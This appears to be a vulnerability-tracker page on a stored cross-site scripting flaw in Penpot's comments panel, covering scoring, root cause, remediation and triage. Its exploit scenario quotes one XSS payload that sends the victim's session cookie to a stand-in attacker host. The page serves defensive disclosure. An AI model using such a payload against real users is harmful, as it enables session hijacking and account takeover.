Skip to main content

Penpot CVE-2026-47665

HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-26 security-advisories@github.com
8.7
CVSS 3.1 · Vendor: github
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain Penpot team member account
  2. Delivery
    Post XSS payload as file comment
  3. Exploit
    Victim opens comments panel in browser
  4. Execution
    innerHTML renders payload without escaping
  5. Persist
    Malicious script executes at Penpot origin
  6. Impact
    Exfiltrate session cookie or perform actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid Penpot account on the target instance with comment permissions on at least one shared file - this is PR:L in the CVSS vector. No elevated or administrative privileges are required beyond standard team membership. The malicious comment persists until manually deleted, so the attacker need not be online when victims trigger it. Exploitation is limited by UI:R: a victim must open the comments panel on the affected file, though this is a routine and expected collaborator action rather than a contrived lure. There is no configuration toggle or non-default setting required for the vulnerable path - the comments feature is on by default. Exploitation is bounded to the Penpot web origin and does not affect other applications or systems outside the Penpot session context.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N scores 8.7 and accurately reflects the threat model. Low attack complexity and a network attack vector mean exploitation requires no special tooling or timing. PR:L correctly constrains the attacker to authenticated team members - anonymous external attackers cannot exploit this without first obtaining a Penpot account with file access. The S:C scope change captures the key amplifier: once executed, the attacker's script runs in the victim's browser at the Penpot origin, enabling session theft and full account takeover. UI:R is technically required (victim must open the comments panel) but this is a routine collaborator action, not a targeted social-engineering step. No CISA KEV listing and no EPSS score are present in the input data; exploitation probability cannot be quantified beyond technical analysis. Despite the absence of confirmed active exploitation, the low complexity and high stored impact make this a genuine remediation priority for any Penpot deployment with multiple collaborators.

Exploit ScenarioDerived

A malicious Penpot team member posts a comment on a shared design file containing a payload such as <img src=x onerror="fetch('https://attacker.example/c?s='+document.cookie)">. The comment is stored verbatim on the backend. When any collaborator opens the file's comments panel - a routine workflow step - Penpot's frontend writes the comment directly into the DOM via innerHTML, triggering the onerror handler, which exfiltrates the victim's session cookie to the attacker's server and enables full session hijacking.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 26, 2026

Stored cross-site scripting in Penpot's comments panel allows any authenticated team member to inject and persistently store arbitrary HTML or JavaScript that executes in collaborators' browsers upon viewing the comments panel. Affected are all Penpot instances running version 2.14.3 and earlier. Because the attack is passive - victims trigger payload execution merely by opening the comments panel as part of normal collaboration - an attacker can silently steal session cookies, hijack accounts, and access victims' files and projects. No public exploit identified at time of analysis; however, the attack mechanism is technically trivial and the fix commit is publicly visible.

RemediationAI

Upgrade Penpot to version 2.15.3, which resolves the vulnerability by applying HTML escaping to all comment content before innerHTML insertion. The upstream fix is confirmed in commit 29f940fb7ab521033b1e276b8285afbc3609df6c (https://github.com/penpot/penpot/commit/29f940fb7ab521033b1e276b8285afbc3609df6c) and detailed in advisory GHSA-vc72-6r45-q988. If immediate upgrade is not feasible, operators can restrict file sharing to only fully trusted internal team members, reducing the pool of principals able to post malicious comments - note this directly limits collaboration capability. Disabling the comments panel at the reverse-proxy or application configuration level eliminates the attack surface entirely but removes the feature for all users. There is no server-side workaround that compensates for the frontend innerHTML sink without a code change.

Affected ProductsAI

All Penpot instances running versions up to and including 2.14.3 are affected. No CPE string was included in the input data; the affected component is frontend/src/app/main/ui/comments.cljs in the Penpot open-source repository. The vulnerability was disclosed via GitHub Security Advisory GHSA-vc72-6r45-q988 at https://github.com/penpot/penpot/security/advisories/GHSA-vc72-6r45-q988. The fix is included in version 2.15.3.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Penpot is a ClojureScript-based collaborative web design tool. The root cause (CWE-79, Stored XSS) lies in the frontend rendering pipeline: frontend/src/app/main/ui/comments.cljs calls dom/set-html!, which directly assigns comment content to a DOM element's innerHTML property without any HTML encoding. The backend enforces only a length constraint, providing no server-side sanitization. This means any HTML special characters - angle brackets, quotes, ampersands - are written verbatim into the page DOM, allowing embedded event handlers (e.g., onerror, onload) or inline scripts to execute. The fix introduces a new dom/escape-html function in frontend/src/app/util/dom.cljs that encodes &, <, >, ", and ' before innerHTML insertion, applied at four distinct call sites in the comments rendering path.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (github) PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 8.7 HIGH

PR:L because attacker needs a team member account; S:C because script runs in victim's browser at Penpot origin; no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (github).

CVSS VectorVendor: github

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

DescriptionCVE.org

Penpot is an open-source design and prototyping platform. In versions up to and including 2.14.3, Penpot is vulnerable to stored cross-site scripting through file comments, whose content is stored as raw text and rendered into the page with innerHTML without any sanitization. Because the backend applies only a length check and the frontend writes comment content directly through innerHTML, any team member who can comment on a shared file can embed HTML such as an image error handler or script that executes in the browser of every other collaborator. The attack is passive: any user who opens the comments panel on the affected file triggers script execution on the Penpot origin, allowing theft of session cookies, actions performed as the victim, and access to their files and projects. This issue is fixed in version 2.15.3.

Executive ViewAI

Why It Matters

Penpot (versions 2.14.3 and earlier) contains a stored cross-site scripting vulnerability (CVE-2026-47665, CVSS 8.7) that allows any team member to inject malicious code into comments, automatically executing when collaborators view the comments panel. No public exploit identified at time of analysis, however, the attack mechanism is technically straightforward. Attackers can steal session credentials and hijack user accounts to access sensitive files and projects across the workspace, with compromises triggered passively through normal collaboration.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: disable Penpot comments if supported; restrict Penpot access to essential personnel only; monitor for unusual account activity and mass file access; implement Content Security Policy if infrastructure allows; train users to report suspicious comment behavior; prepare upgrade plan for when patched versions become available.

Threat Intelligence Overview

EPSS Score
0.3%
Top 84% exploitable
Prevalence
Low
open-source design niche, smaller footprint than Figma or Sketch
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy